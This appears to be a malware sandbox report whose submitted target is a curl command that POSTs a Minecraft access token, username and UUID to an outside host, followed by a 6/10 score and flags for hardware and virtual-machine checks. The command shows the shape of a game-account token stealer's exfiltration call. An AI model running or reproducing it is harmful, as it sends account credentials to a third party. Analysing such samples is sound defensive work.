General

  • Target
    http://curl -X POST http://thisisafalsepositive.st/shard/prefireMc \ -H "Content-Type: application/json" \ -d '{"accessToken": "06xaxxf5-44e4-4226-s5to-pca90e38aaf5", "mcUsername": "xx_corsa_xx", "mcUuid": "stop_hacking", "gameDir": "nah", "env:": "fabric",}'
  • Sample260925-thrdbafe24

Malware Config

Targets

    • Target
      http://curl -X POST http://thisisafalsepositive.st/shard/prefireMc \ -H "Content-Type: application/json" \ -d '{"accessToken": "06xaxxf5-44e4-4226-s5to-pca90e38aaf5", "mcUsername": "xx_corsa_xx", "mcUuid": "stop_hacking", "gameDir": "nah", "env:": "fabric",}'
    Score
    6/10
    • Checks hardware identifiers (DMI)

      Checks DMI information which indicate if the system is a virtual machine.

    • Reads hardware information

      Accesses system info like serial numbers, manufacturer names etc.

MITRE ATT&CK Enterprise v16

Tasks